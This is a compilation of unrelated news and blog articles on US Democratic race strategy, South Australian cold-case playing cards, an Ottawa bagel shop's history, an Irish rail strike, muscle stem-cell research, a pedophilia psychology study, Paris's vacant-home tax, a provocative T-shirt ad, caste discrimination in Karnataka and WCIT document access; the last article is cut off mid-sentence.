throughout American history, from Andrew Jackson to William Jennings Bryan — shows early signs of dominating Republican messaging in 2018.  And Democrats don’t want any part of it. When it comes to the culture war, most Democrats would rather fight Republicans on policy than on Trump’s racially fraught ground. But some black and Latino leaders are warning Democrats that the current approach — talking around race rather than confronting it head-on — is further demoralizing people of color, who are usually loyal Democratic voters but did not turn out in 2016 at the level they did in 2012.  “I think Democrats don’t know how to deal with this level of racial animus,” said Derrick Johnson, the newly elected president of the NAACP, the country’s oldest civil rights organization. “They may object to it, but they don’t know how to react effectively,” he added.  But party insiders say there’s at least one strategic reason Democrats aren’t engaging with Trump on race.  “You have to understand, there are just a ton of white people in this country.”  “You have to understand, there are just a ton of white people in this country,” one Democratic Party official explained to VICE News recently, a point several Democratic strategists echoed when asked why they choose policy over going to war on culture issues. Democrats are instead relying on the belief that good policy is more important to people of color than debates over things like monuments and player protests of police violence.  Fear of racial politics  But race is now shaping the political parties in a way it hasn’t for a generation. Pew Research Center has been asking people since 1994 whether discrimination is the “main reason many blacks cannot get ahead.” The partisan gap on that question went from 13 points in 1994 to 19 points in 2009, to 50 points in the summer of 2017.  Yet, most Democratic leaders say they support NFL players’ right to protest but shy away from forcefully embracing their cause to end police violence. A bill from Sen. Cory Booker of New Jersey to remove the Confederate monuments in the Capitol — including one of Confederate President Jefferson Davis — has only four co-sponsors out of 48 Senate Democrats and has had little public push from leadership. And the party’s much-promoted “Better Deal” agenda makes no mention of immigration or the criminal justice system.  READ: The fight over Confederate statues could make or break Democrats  Democratic leaders have largely stayed away from talking about race since Republicans took over the South following the civil rights movement. The exceptions have usually been when Democratic politicians wanted to shed their “pro-black stance,” as they were urged to do in the influential 1970 best-seller “The Real Majority,” by two Democratic political analysts.  But Trump may be making that strategy untenable. In today’s political climate, policy proposals often don’t break through in the same way some of the cultural fights do — just ask Hillary Clinton. While Trump dominates the political conversation by speaking to white anxiety, Democrats are doing little to speak to the anxiety among people of color.  “I don’t see any advantage in getting involved in the American flag stuff, period.”  Democrats’ relative silence is also partly calculated. Most Democratic leaders believe they just can’t win if they further alienate the white working class and see them as an indispensable part of the New Deal coalition. The “Better Deal” slogan is meant to invoke just that.  Working class whites  According to the latest U.S. Census figures, 61.3 percent of the population is white. About half of Democratic voters in last year’s election were white. That is quickly changing, however, since the majority of babies born the last several years are non-white, according to recent estimates by the Census Bureau.  “I don’t see any advantage in getting involved in the American flag stuff, period,” Doug Sosnik, a former counselor to Bill Clinton whose strategy memos carry a lot of weight among the political establishment, told VICE News of the NFL player protests. “That’s a cul de sac that you can never get out of.”  Or as former White House Chief Strategist Steve Bannon recently told the American Prospect: “I want them to talk about racism every day. If the Left is focused on race and identity, and we go with economic nationalism, we can crush the Democrats.”  But many black and Latino leaders believe that Democrats’ can no longer count on people of color if the party continues to focus most of its energy on winning back white voters.  “We are ceding this anxious ground to Trump and the Bannons of the world,” said pollster Cornell Belcher, the author of “A Black Man in the White House.” Belcher, who is black, added that “when Trump stands in front of his audiences and says, ‘I’m going to give you back your country,’ he is having a conversation about race. Democrats’ response to that is that ‘I’m going to raise the minimum wage.’ It’s disconnected.”  Chuck Rocha, founder of Solidarity Strategies, which specializes in outreach to the Latino community, agreed that the Democrats are not motivating people of color, especially the young. “We haven’t seen Democrats yet take a stance that would motivate the 25-year-old Latino kid in East Texas who sees Trump making him out to be a member of the MS-13 gang when he was born and raised here,” said Rocha, who has also worked on several presidential campaigns, including Sen. Bernie Sanders’.  Trumpism in Virginia  That dynamic has been especially present in the Virginia governor race, to be decided Tuesday. Republican nominee Ed Gillespie is a quintessential establishment Republican whose resume includes chair of the RNC and counselor to President George W. Bush. But he’s recast himself in this race as a Trumpian culture warrior promising to preserve Confederate monuments, sending mailers emblazoned with “You’d never take a knee, so take a stand on Election Day” alongside a kneeling football player, and warning that his opponent, Democrat Ralph Northam, will “let dangerous illegal immigrants back on the street” like members of the Central American gang MS-13.  And while Gillespie’s tactics have gotten some tut-tutting from the media, he has also surged in the polls with the shift in strategy, starting at down 13 points at the beginning of October and rising to just 5 down at the end, according to two polls conducted by Washington Post-Schar School. Polls released late last week have the race within the margin of error. While Gillespie has kept Trump the man at arms length, Bannon told The New York Times this week that “I think the big lesson for Tuesday is that, in Gillespie’s case, Trumpism without Trump can show the way forward.”  READ: Confederate monuments are all over states that weren’t in the Confederacy  Northam has responded by trying to win back the white voters Gillespie is riling by talking about policy or moderating his stance on these cultural issues. In the closing weeks of the campaign, Northam argued he’d be tougher on MS-13 than Gillespie and shifted his position on monuments from vowing to take them down to saying he wouldn’t “meddle” with localities about them.  But as Northam tries to win back white voters, there’s increasing evidence that his support among people of color is slipping, or at least is unenthusiastic. A private poll from mid-October by the immigration advocacy group America’s Voice found that Northam’s support among black and Latino voters was lower than expected, according to a report by the Washington Post.  Latino Victory Fund (LVF), a progressive political action committee focused on the Latino community, saw that poll and took the culture war into their own hands. The group produced an ad called “American Nightmare,” which shows a white man in a pickup with a Gillespie bumper sticker and Confederate flag chasing down children of color. “In the past, immigrants have been scapegoats in political attack ads, and now we are pushing back hard,” said Cristóbal Alex, the group’s president. “We are portraying the true-life anxiety of immigrants and Latinos and their families.”  Gillespie said the ad portraying his supporters as racist shows that Northam “disdains us,” and newspaper editorial boards including the Washington Post — which endorsed Northam — called the ad “vile.” (LVF took down the ad after the attack in New York City last week where a man used a car to run down and kill eight people). Afterward, Northam said it wasn’t the sort of ad he would have run and also promised to sign a bill that would ban sanctuary cities.  If Gillespie wins Tuesday, Democrats expect Republicans to replicate his culture war campaign across the country in 2018.  Facebook, television, and radio will then be wall-to-wall pictures and videos of black football players kneeling during the national anthem, sanctuary cities full of MS-13 gang members, and Robert E. Lee visages coming down.  And even if he loses, it’s possible that will happen anyway. The Republicans running for governor in New Jersey and Senate in Alabama are already using similar tactics. In the New Jersey gubernatorial race, Republican nominee Kim Guadagno is desperately trying to gain ground by running an ad with anxiety-inducing tones and pictures of an MS-13 gang member, with the warning that the Democrat Phil Murphy “doesn’t have our backs. He has theirs.”  In the Alabama Senate contest to go to a vote in December, Republican nominee Roy Moore — the former chief justice of the state supreme court — said two weeks ago that kneeling during the national anthem “is against the law” (it’s not) and defended Confederate statues, saying, “Monuments don’t create hate; people do.”  His Democratic opponent Doug Jones, a former U.S. Attorney who prosecuted high-profile cases against the Ku Klux Klan, has tried to ignore the culture stuff and focus on “kitchen table issues.” Asked about the level of racism in the country on the liberal podcast “Pod Save America,” Jones demurred: “I’m not going to throw stones at who is causing that rise [of racism].”  Calling out “deplorables”  Like in Virginia, this effort to appeal to white voters also has potentially stifled enthusiasm for Jones among people of color, even though his resume is right out of a John Grisham novel. The newly elected mayor of Birmingham, Randall Woodfin, recently told the New York Times that people in his city are largely supportive of Jones but that his “issue is motivating them to come out and vote for him.”  Many Democrats point out, however, that Hillary Clinton did call out racism in her speech on the alt-right and then again, less eloquently, when she called half of Trump supporters “deplorable.” And she lost, if you hadn’t heard.  “If we think one speech or one comment is going to change this scapegoating racial narrative then we are fooling ourselves,” said Heather McGhee, the president of the progressive think tank Demos who is also working with Belcher on crafting an alternative message for Democrats.  Some veterans of the Clinton campaign agree. “No Democrat should hesitate to call out the Republicans for their shameless race-baiting,” Brian Fallon, Clinton’s campaign press secretary, told VICE News. “But if people are only hearing about how bigoted and racist and awful your opponent is, it doesn’t necessarily help you make the case for yourself,” he added.  What seems clear is that the culture war is likely here to stay, whether Democrats engage or not. No less a figure than Barack Obama recently called the debate over symbols of the Confederacy a “distraction” while campaigning with Northam in October.  But the NAACP’s Johnson disagreed.  “The Confederacy and those individuals who participated was a treasonous act, and we should treat them as such,” he said.  “Symbols matter.”
-PACKS of playing cards featuring the victims of cold case murders will be given to South Australian prisoners in the hope it prompts new leads to solve the crimes.  The American-derived playing card strategy will be coupled with letters asking for help of all people in the corrections community and advice telling criminals they may be eligible for immunity from prosecution, reduced sentences and monetary rewards for vital information.  The bold move is the latest strategy in the South Australian Police Operation Persist to solve cold case homicides and Major Crime Investigation Branch head, Detective Superintendent Des Bray says focuses on the state’s large criminal community.  “It’s not honest mums and dads and pillars of society who kill people ... it’s prisoners in our jails,’’ Det Supt Bray said.  media_camera Some of the playing cards, which feature unsolved murders, which will be given to prisoners. media_camera Some of the playing cards, which feature unsolved murders, which will be given to prisoners.  “We want to make contact with a massive section of our community who have information about these crimes.  “This is a bold initiative and a first for South Australia. However, there is evidence that targeting people in custody for information has proved to be an extremely successful strategy in solving murders and very serious crimes.  “This strategy seeks to harness the information in the criminal community to help resolve cases that have remained a mystery for up to 50 years.’’  Police worked with the Department of Correctional Service and the Commissioner for Victims’ Rights on the strategy and families of all victims featured on the cards have given their written approval.  Det Supt Bray said there will be a second release of playing cards featuring other victims from the 119 unsolved murder cases in the state.  Correctional Services head David Brown said prison staff had been included in development and training for the strategy and the prison system fully supported the move.  Families of victims have also supported the move, Commissioner for Victims’ Rights, Michael O’Connell said.  media_camera Some of the playing cards that prisoners in SA jails will receive, in the hope that it will prompt them to help with unsolved murders. Picture Roy van der Vegt  “They want to see the person responsible for the death of their loved one apprehended, prosecuted, found guilty and adequately punished,’’ he said.  “When a homicide remains unsolved, victims’ families suffer emotional and psychological stress and challenges. It is of some assistance to know that the police and correctional services are committed to investigating unsolved homicides, thus alleviating the burden on the victims’ families.’’  Suzie Ratcliffe — the sister of Joanne Ratcliffe, 11, who, along with Kirste Gordon, 4, was abducted from Adelaide Oval in 1973 and who have their images on a playing card — supported the strategy.  “The more avenues for the flow of information that are tried, the better,’’ she said.  “Families touched by such grief would be grateful for anything that can help solve these crimes.’’  Ms Ratcliffe has joined with other families of missing persons from around Australia to form the Leave A Light On Foundation which aims to raise awareness of cold case missing persons crimes. Launch events for the foundation will be held at Norwood Oval on October 21 and in Melbourne and people are encouraged to leave a porch light on that night to acknowledge the grief families of missing persons live with.
-_ ** Editor’s note: ** Today’s guest blog is from Dave Allston, an Ottawa writer and researcher. Dave is a history buff who runs a service called House Story Co. , providing research about old homes and businesses in the Kitchissippi area. He also recently launched The Kitchissippi Museum , the blog where this post originally appeared. _ [  ](https://www.flickr.com/photos/rdb466/4554549631) _ The Bagelshop, Wellington St., Ottawa by Ross Dunn, on Flickr _ ** The Ottawa Bagelshop on Wellington Street is a Wellington Village institution. ** Growing up in the area (on Gilchrist Avenue), this was one of my family’s main shopping spots during the 1980s, when Wellington West was not at all what it is today. I particularly remember Sunday mornings, when it was the only place that would be open east of Westboro and west of Holland Avenue. It was perfect for a kid who wanted to get a newspaper to view the hockey statistics and scores from Saturday night’s games (the newspaper used to be the only way to do this, pre-internet!), or when my parents wanted hot bagels for Sunday breakfast. The Bagelshop was (and still is) the place to go.  It opened in April of 1984 when Vince Piazza opened the shop selling “Montreal style bagels” after learning the trade at his brother-in-law’s St. Viateur Street store in Montreal. It was in 1996 that the shop expanded to the neighbouring building, which previously had been the Ottawa Church of God and (along with the Peace Finders Gift Shop inside the front lobby). The two buildings had actually been completely separate before, and the renovation connected the two buildings, making it appear as one complete structure.  So the eerie past life of the Bagelshop resides in this “new” part of the Bagelshop (the restaurant portion). You might be surprised to know that for 45 years, this building was a funeral home!  ** The Radmore Stewart Funeral Home opened in 1930 in the main floor of a large home built in 1922. ** It was around this time that the way funerals were organized changed. Prior to the 1920s, it was common practice that when a family member passed away, the post-death care, funeral and wake services were all performed within the family home. It wasn’t until after WWI, when the process of embalming was popularized for soldiers being returned home for burial, that the bodies of the recently deceased were moved into funeral homes shortly after death.  George Radmore Stewart saw a need for a funeral home in the west end, and opened his small business in a converted house at what was then 1323 Wellington Street.  The photo below shows the building as it was in 1943. If you take a good look from across the street, you can still see the loft windows looking quite the same.  The original Radmore Stewart Funeral Home as it looked from 1930 until 1947  Aerial photo May 1933  The aerial photo above shows Wellington Street between Ross (at left) and Grange (at right) from May 1933. The funeral home is at the corner of Grange, and you can see the original addition as well (now the Strawberry Blonde bakery), which was an auto garage at the time. The main Bagelshop building would later be built in the adjoining vacant space, and the next building to the west is the Gastropub building (built 1923). Across the street, where the Parma Ravioli now exists is a big “V” which was likely a large-sized advertising billboard.  [  ](http://2.bp.blogspot.com/-oqTZq6f4qew/VL8cvEwM55I/AAAAAAAAALo/yPDVEvLH5aY/s1600/Citizen%2B1943-05-22%2Bphoto%2Bcrop%2B24perc.jpg) A view of the family reception room in the original funeral home  [  ](http://3.bp.blogspot.com/-XTQ5pijT8WE/VL8d0S6kCfI/AAAAAAAAAL0/ULGTDcyVlqQ/s1600/Citizen%2B1944-04-01%2Bonline%2Bphoto%2Bcrop.jpg) The original funeral home chapel 1930-1947. (My apologies on the quality of some of these photos, they are taken from old photocopies and/or newspapers. I did the best I could with them).  Ottawa Journal, February 10, 1940  A vintage ad from the Ottawa Journal promotes the range of affordability a Radmore Stewart funeral could offer. “$48 and less” sounds like quite a bargain, though I can’t imagine what a less-than-$48 funeral would have gotten you!  For 17 years, the Radmore Stewart parlor operated in the small converted home (one of the sons and his wife even resided upstairs), before demand led to the construction of a new chapel addition, which opened in the summer of 1947.  The new Radmore Stewart chapel, on July 18th, 1947 (D00658 Sproul Collection - City of Ottawa Archives)  A view of the interior of the Radmore Stewart chapel in 1947.  Radmore Stewart closed in late 1975 or early 1976. The location briefly became a Lebanese community centre, before the Sahara Dining Lounge opened in 1978. The restaurant did not last long, and it was taken over by the Church of God by 1981. Meanwhile, next door at 1321 Wellington (the Bagelshop store portion) was built in 1945, and opened in April of that year as the new location of Armand Cloutier's local gift and variety shop (specializing in greeting cards, school textbooks and even radio repairs), having moved from 1244 Wellington (where Nectar Tea is now located). This shop would become a landmark of its own in West Wellington, remaining as Cloutier's until 1980. It briefly became the Wellington Travel Agency and Home Fashion Centre, before the Bagelshop opened in 1984.  And now you know the unique past life of part of the Bagelshop building!
-Updated at 1.20pm  A THREE HOUR train strike led to significant problems across the country’s travel network this morning.  Irish Rail is not currently reporting any delays to evening services.  The stoppage ended at 9am, but commuters face another day of headaches if a dispute between drivers and management isn’t resolved.  Drivers have served notice on the company that they will carry out the same action – striking between 6am and 9am on a Friday – two weeks from today on 6 November.  The strike  All rail services – DART, Commuter and Intercity – were affected by the rush-hour strike, which began at 6am after late-night talks between Irish Rail management, Siptu and the NBRU failed to resolve the dispute over drivers’ claims for compensation for past productivity measures.  Bus Éireann provided some additional capacity and Dublin Bus sent its full fleet out.  Traffic volumes were up significantly on most routes however. Problems in Dublin city were compounded by a number of crashes, including one on the south quays. The city-bound bore of the Port Tunnel was also closed for a period due to a broken-down truck.  Heavier than usual traffic on and around the quays in Dublin as train strike begins. pic.twitter.com/rc8Q1vMKXk — Daragh Brophy (@DaraghBroph) October 23, 2015 Source: Daragh Brophy /Twitter  Refund arrangements  Online customers who were booked to travel during the hours of disruption can use their tickets on any of the following services and no surcharge will apply, Irish Rail says.  Friday 23rd October, at a later time.  Saturday 24th October, at any time.  Or they may submit their ticket for a full refund.  Updated service information is available on www.irishrail.ie.
-Researchers at the University of California, Berkeley, have turned back the clock on mature muscle tissue, coaxing it back to an earlier stem cell stage to form new muscle. Moreover, they showed in mice that the newly reprogrammed muscle stem cells could be used to help repair damaged tissue.  The achievement, described in the Sept. 23 issue of the journal Chemistry & Biology, "opens the door to the development of new treatments to combat the degeneration of muscle associated with muscular dystrophy or aging," said study principal investigator Irina Conboy, UC Berkeley assistant professor of bioengineering.  Skeletal muscle tissue is composed of elongated bundles of myofibers, which are individual muscle cells (myoblasts) that have fused together. This fusion of individual cells is considered the final step of skeletal muscle differentiation.  "Muscle formation has been seen as a one-way trip, going from stem cells to myoblasts to muscle fiber, but we were able to get a multi-nucleated muscle fiber to reverse course and separate into individual myoblasts," said Conboy, who is also a member of the Berkeley Stem Cell Center and an investigator with the California Institute for Quantitative Biosciences (QB3). "For many years now, people have wanted to do this, and we accomplished that by exposing the tissue to small molecule inhibitor chemicals rather than altering the cell's genome."  Not all stem cells are created equal  Current research on treatments based upon pluripotent cells -- the type of stem cell that can turn into any type of adult cell -- have been challenging. Pluripotent cells can either come from embryonic tissue, a source of controversy, or from adult, differentiated cells that have been coaxed to de-differentiate into an embryonic-like state. This latter technique produces induced pluripotent stem cells (iPS) through the delivery of specific genes that reprogram the adult cells to revert back to a pluripotent stem cell state.  Pluripotent stem cells can divide almost indefinitely, and if not driven toward a particular organ type, the cells quickly form teratomas, or tumors containing a combination of immature malformed tissues -- a serious downside of the use of iPS cell tansplantation as a potential treatment.  "The biggest challenge with both embryonic stem cells or iPS cells is that even a single undifferentiated pluripotent cell can multiply in vivo and give rise to tumors," said study lead author Preeti Paliwal, a UC Berkeley post-doctoral researcher in bioengineering. "Importantly, reprogrammed muscle stem-progenitor cells do not form tumors when transplanted into muscle in vivo."  Unlike pluripotent stem cells, which can differentiate into any type of adult cell, adult organ-specific stem cells have a set destiny. Muscle progenitor cells are fated to become muscle tissue, liver progenitor cells can only become liver tissue, and so on.  "In addition, it is difficult to differentiate these embryonic-like cells into functional adult tissue, such as blood, brain or muscles," said Paliwal. "So rather than going back to a pluripotent stage, we focused on the progenitor cell stage, in which cells are already committed to forming skeletal muscle and can both divide and grow in culture. Progenitor cells also differentiate into muscle fibers in vitro and in vivo when injected into injured leg muscle."  Using molecular signals to rewind the clock  Muscle progenitor cells are normally situated alongside mature myofibers, which is why they are also called satellite cells. These cells lay dormant until called into action to repair and build new muscle tissue that has been injured or worn out. This happens regularly as we go about our daily lives, and muscle builders know this cycle when they tear old muscle fibers and build new tissue by lifting weights.  However, that process of repair gets worn out in people with Duchenne muscular dystrophy, a genetic condition in which muscles degenerate because of a defective structural protein and the subsequent exhaustion of muscle stem cells.  To get a multi-nucleated muscle fiber to reverse course and separate into individual myoblasts, the researchers exposed the differentiated muscle tissue to tyrosine phosphatase inhibitors, giving the signal to mature cells to start dividing again.  "Exposing the myofibers to this tyrosine phosphatase inhibitor transmits signals for cell division, but that can be too dramatic a change for them," said Paliwal. "These cells had already fused together into one big structure, sharing one cytoplasm and one cytoskeleton. If you simply tell them to divide, many of them start dying. You confuse them."  To solve this, the researchers also used an inhibitor of apoptosis, or cell death. "We basically brainwashed the cells to go into the cell cycle, to divide and also not die in the process," said Paliwal.  Conboy noted that the use of molecular inhibitors to de-differentiate mature tissue is a sought-after application in the stem cell field.  "These tiny chemicals go inside the cell and change the way the cell behaves without changing its genome," she said. "The inhibitors were only used for 48 hours, enough time for the fused myofibers to split into individual cells, and then they were washed away. The cells can proceed to live and die as normal, so there is no risk of them dividing uncontrollably to become tumors."  Newly reprogrammed cells get glowing review  To prove unequivocally that the myoblasts they produced were de-differentiated from mature muscle tissue rather than activated from the few satellite cells that accompany myofibers, the researchers genetically labeled the fused myofibers with a protein that emits green fluorescent light. The researchers then knew that the myoblasts that glowed green could have only come from the differentiated myofiber.  To test the viability of the newly regenerated myobasts, the researchers first cultured them in the lab to show that they could grow, multiply and fuse normally into new myofibers. The researchers then injected the de-differentiated myoblasts into live mice with damaged muscles.  "After two to three weeks, we checked the muscle and saw new muscle fibers that glowed green, proving that the progenitor cells we derived from mature muscle tissue contributed to muscle repair in vivo in mice," said Paliwal.  The researchers say the next steps include testing the process on human muscle tissue and screening for other molecular compounds that could help de-differentiate mature tissue.  "This approach won't work for all degenerative diseases," said Conboy. "It might work for some diseases or conditions where we can start with differentiated tissue, such as neurons or liver cells. But patients with type I diabetes, for instance, lack the pancreatic beta-islet cells to produce insulin, so there is no functional differentiated tissue to start with. Our approach is not a replacement for pluripotent cells, but it's an additional tool in the arsenal of stem cell therapies."  The National Institutes of Health and the California Institute of Regenerative Medicine helped support this work.
-When most people think about sexual orientation, they think about the straight/bi/gay spectrum (if you can call it a spectrum) — that is, whom you’re attracted to. But as has been previously pointed out in this space, there’s more to sexual orientation than that.  For example, another, less discussed facet of sexual orientation is the target of sexual attraction: Is the person attracted to others, to themselves, or to both? When someone is “sexually aroused by the idea or fantasy of being the erotic target,” it’s known as an erotic-target identity inversion, or ETII, and that’s the subject of a new paper in Psychological Science, not yet online, by Kevin Hsu and J. Michael Bailey, both of Northwestern University.  As Hsu and Bailey point out, researchers don’t know much about ETIIs, and in fact only two types have really found their way into the literature. The most widely cited is autogynephilia, which describes situations in which natal males are “sexually aroused by the thought or image of being a woman,” and sometimes transition. There’s also apotemnophilia, “an ETII in which men find it sexually arousing to be an amputee.” As the authors point out, men with ETIIs can also be attracted to external subjects of their attraction — apotemnophiles, for example, have the tendency “to report both sexual attraction to amputees and sexual arousal by the thought or image of themselves as an amputee.” (I’d be remiss to not point out that autogynephilia is explosively controversial in the transgender community — see the middle section of my review essay on Alice Dreger’s Galileo’s Middle Finger to read about a witch hunt that almost ensnared Bailey as a result of a book he wrote that touched on autogynpehilia, for example, or the many critiques of the concept that have been written by trans and cis commentators alike, or this defense of it from a sex researcher who is herself a trans woman.)  As Hsu and Bailey note, “Besides autogynephilia and apotemnophilia, no other putative ETII has received much empirical study.” One candidate, they realized, might be an ETII associated with pedophilia — that is, situations in which pedophiles might be attracted to the idea of themselves as a child. After all, there had been some case reports hinting at this.  So the researchers recruited a group of pedophilic and hebephilic (attracted to early adolescents) men by placing advertisements on two websites where pedophiles congregate to trade strategies on not acting on their urges, and then asked them some survey questions. “Participants reported whether they have ever imagined being a child or having a child’s body,” Hsu and Bailey write, “and if so, the degree to which they were sexually aroused by doing so.” Those who said they were aroused by this fantasy were also asked about the gender and age of the imaginary child in question. The participants were also asked how often they dress as children, and whether they had “ever considered the possibility that they would be better off as a child and whether they had ever considered hormones or surgery to make themselves look more like a child.” Finally, they were asked some open-ended questions “about the precise nature of their fantasies and experiences” to allow for the collection of some qualitative data as well.  Here’s the key finding:  Autopedophilia was common among pedohebephilic participants: 233 (49.1%) reported feeling at least mildly sexually aroused when they imagine being a child or having a child’s body. The average degree of general autopedophilia among the participants was 4.40 (SD = 4.05). The distribution of general autopedophilia was bimodal, with over half the participants scoring either 0 (33.6%) or 10 (21.0%). Thus, a substantial minority of our sample was intensely autopedophilic.  In other words, based on this one sample, at least, it appears quite common for pedophiles to be aroused at the thoughts of themselves as a child. And, as is the case with other ETIIs, there was also often a match between external and internal targets of attraction: that is, among the pedophiles who were attracted to thoughts of themselves as a girl, 100 percent were also attracted, externally, to girls or to both genders. For those aroused by thinking of themselves as a boy, just 15.5 percent were attracted to girls, with the rest attracted to boys or both. Finally, the researchers found only minor rates of dressing as children among the autopedophiles: Just 13.2 percent had done so.  This is the first attempt to figure out the prevalence of autopedophilia, so it raises more questions than it answers. But Hsu and Bailey’s work does mark an important step forward in understanding what motivates and arouses pedophiles. As society shifts toward the approach of working with pedophiles to get them to not act on their urges, rather than endlessly punishing and ostracizing them, this kind of knowledge can only help.
-Runaway real estate speculation has been filling global capitals with vacant homes, creating artificial shortages in the world’s most sought after cities. The “shortage” has made local home owners wealthy overnight, but it comes at the cost of turning lively cities into empty shells. The city of Paris has decided it’s had enough, and implemented a tax in 2015. They didn’t quite get the results they wanted, so they’re now tripling the tax to 60%.  Paris’ Empty Home Problem  Paris has been trying to deal with vacant property owners for some time. Despite warnings that the city will have to take action, the number of vacant homes is growing. There’s now 107,000 vacant homes, representing 7.5% of all residential dwellings in the city according to France’s INSEE. Deputy Mayor Ian Brossat told Le Monde that 40,000 of those vacant homes aren’t even connected to the electrical grid.  Local developers have argued that more new construction is the solution. However Brossat argues “In a city as dense as Paris, where it is very difficult to build, controlling the occupancy of housing is strategic.” It appears the city believes they have 107,000 reasons more construction is not the solution.  Vacant Home Count  Total number of vacant homes, as reported by local governments.  Paris’ Vacant Tax Increase  Paris implemented a tax recently, but it didn’t quite produce the desired outcome. Starting in 2015 the city elected to tax vacant homes the equivalent of 20% of the fair market value of rent. On January 30 this year, they decided to triple that amount to 60%. The idea isn’t to punish those fortunate enough to own a second (or twelfth) home. They’re trying to discourage speculation and promote a healthy rental market.  Vacancy As A Percentage  Percent of homes vacant as a percentage of total homes as counted by local governments.  Empty Homes Across The World  Paris’ 107,000 empty homes might seem like a lot, but it’s becoming strangely normal around the world. New York City had a whopping 318,831 vacant units in 2015. It’s a hot topic in Sydney, where 118,499 vacant units were counted in 2013. Heck, London considers it a critical issue, and they “only” have 22,000 empty homes. There’s a massive numbers of vacant homes across the globe, but only Paris has decided to take aggressive action to tackle it.  Growing populations have barely put a dent in the vacant homes in global real estate capitals. The amount of speculation has been scaling with demand, which is a curious paradox. This signifies an issue that’s more complex than just a basic supply and demand problem.  Is the Paris’ tax going too far, or not enough? Tweet us your thoughts. Over the next few weeks we’ll be exploring the issue of vacancies around the world. Want to keep up to date? Like us on Facebook for the next post right in your feed.
-These powerful little girls aren't f*cking around.  For the latest ad campaign from t-shirt company FCKH8, the brand enlisted five girls between the ages of 6 and 13 to spread the word about issues regarding gender, race and sexuality.  One by one, these princess costume-clad girls address pay inequality, gender expectations and sexual assault with unexpected frankness. The clip features cursing aplenty ("Fuck that sexist shit!") amidst statistics about the pay gap, rape and violence against women.  See also: A Storied Glossary of Iconic LGBT Flags and Symbols  Editor's note: The video below, of course, features NSFW language. And kids cursing up a storm.  Of course, the advertisement is just that: an ad for a for-profit company owned by corporate branding firm Synergy Media. The shirts and sweatshirts in FCKH8's "Anti-Sexism" collection range in price from $14.99 to $36.99, and $5.00 of each purchase will go toward "kick-ass charities" that have yet to be determined.  Luke Montgomery, a spokesperson from FCKH8, tells Mashable that customers will vote on a list of charities narrowed down from Facebook suggestions on Nov. 30. Montgomery says that FCKH8 has sold more than 200,000 t-shirts since opening in 2010.  Predictably, not everyone is a fan of FCKH8's advertisement. Some have criticized it for profiting from feminist messages and slogans, referencing its controversial campaign linked to protests in Ferguson, Missouri.  In September, the brand released a video featuring children from Ferguson wearing the company's "Anti-Racism" shirts. In a similar vein to FCKH8's latest campaign, $5.00 from each purchase were donated to four anti-racism organizations.  The campaign prompted criticism for aiming to make a profit from the Ferguson protests, most notably in a Colorlines blog post on the subject.  "Everything, it seems, can distilled, packaged, bought and sold — including racism," Colorlines' Aura Bogado wrote.  FCKH8 responded with its own blog post, asking for an apology, and a promise to donate funds from the sales to Colorlines' publisher, which it declined.  According to FCKH8's website, the company has since donated $1,047 in profits to Crossroads Anti-Racism Organizing and Training, $1,000 to the Mike Brown Memorial Fund, $1,000 to the Urban League of Metropolitan St. Louis and $1,000 the NAACP.  Remember that FCKH8 is the same company that made a profit off Ferguson by selling Ferguson t-shirts. Now they want to profit off feminism. — Anne Thériault (@anne_theriault) October 22, 2014  Why create a video full of cursing kids? http://t.co/9x5p7fJR7C Answer: "http://t.co/Mmywp4HKGu is a for-profit T-shirt company..." — John Sexton (@verumserum) October 22, 2014  Hey, at least the kids are f*cking cute.  UPDATE Friday, Oct. 24, 9:17 a.m. ET FCKH8's advertisement was reinstated to YouTube on Thursday after the video hosting platform pulled it on Wednesday at about 2:30 p.m. ET.  Though we originally reported that the video was pulled from Vimeo as well, Mashable has since learned from a Vimeo spokesperson that the video was removed due to an error and was promptly reuploaded to the website.  "It seems like this censorship ... is because of user complaints about kids saying fuck," Montgomery told Mashable via email. "The video does not violate any user guidelines and with all the sexist content on both sites that is allowed to stay up, as well as content that uses this simple four-letter word, we are surprised that they chose to censor it. This censorship gets to the exact point that the girls in the video are making ... that society finds it more offensive for a girl to say fuck than they do the fact that 1 out 5 women are sexually assaulted and raped."  YouTube has not yet responded to our request for comment.
-Hubballi: A barber trimming the hair of a person in Haveri district stopped his job midway and shooed the customer away after learning he is a dalit. The incident took place in Ranebennur's Itagi village recently. Ranebennur is about 300km northwest of Bengaluru.The customer was visiting a family in Itagi, and the barber came to know his caste during a chat. Immediately, the barber asked him to leave his place. The customer had his hair partially cut by then. He travelled to the nearest town, Harihar, about an hour's drive, to get the job completed.This is not unusual in Itagi, which has seen fractious ties between dalits and hairdressers. After a skirmish in the 1990s, village barbers don't give dalits a haircut.The customer brought this incident to the notice of a friend, also a dalit, and the latter alerted zonal police seeking action against the barber. A dalit organization, too, raised the issue of ill-treatment with police and the social welfare department.A team of tahsildar, social welfare officers and police personnel visited the village and held a meeting to resolve the issue, but to no avail. The Itagi hairdressers refused to blink and said they will not welcome dalits.After the incident, all the five salons in the village have downed their shutters. To preempt further trouble, a police contingent has been stationed in the village.Prakash Pujar, a dalit leader, told TOI the trouble started 20 years in the village with 70 dalit families. Vasanth HC, a police sub-inspector from Halageri station, said resolution efforts will continue.Ranebennur tahsildar Ramamurthy said barbers should make no distinction on the basis of caste or religion. "We held the meeting with barbers in the presence of villagers, including dalits. We will hold a second meeting in the next couple of days. If they continue to remain adamant, then we will file a case against them for trying to cause disturbance in society," he said.
-The Government Can Be Transparent About International Negotiations... If It's Unhappy With Them  from the tpp-vs.-wcit dept  Join me and make a difference. 303,000,000 Americans have just been offered access to the notoriously secret ITU WCIT documents. Just join ITAC, the State Department International Telecommunications Advisory Committee, and enjoy access. “It takes a simple email with a request to be placed on the ITAC listserv, based on some material interest in a given topic,” Paul Najarian of State writes. Simply send an email to join ITAC_Listserve_Requests@state.gov and you automatically have access to ITAC.  First, we welcome all interested stakeholders to participate in our WCIT preparatory process and help the U.S. Government form positions in advance of the conference. We solicit this input and feedback through the United States International Telecommunications Advisory Committee (ITAC). I believe that the ITAC process is critically important in helping the U.S. Government convene the type of open, public, and necessary consultations from all stakeholders that helps strengthen our positions in advance of the WCIT. The ITAC has advised the Department of State on U.S. participation in international telecommunications treaty organizations such as the International Telecommunication Union for decades and has, accordingly, been critical in the preparation of prior U.S. positions for meetings of international treaty organizations, developing and coordinating proposed contributions to international meetings and submitting them to the Department of State for consideration. For the WCIT, the ITAC will continue to serve this critical role. Therefore, we welcome any person and any and all organizations, whether corporate or non-profit, to participate in the ITAC if they would like to assist with the WCIT preparatory process.  Second, all WCIT preparatory documents – including revisions of the TD-62 compilations of Member States proposals, the final report of the Council Working Group, and Member State proposals – have been and will continue to be made available to interested 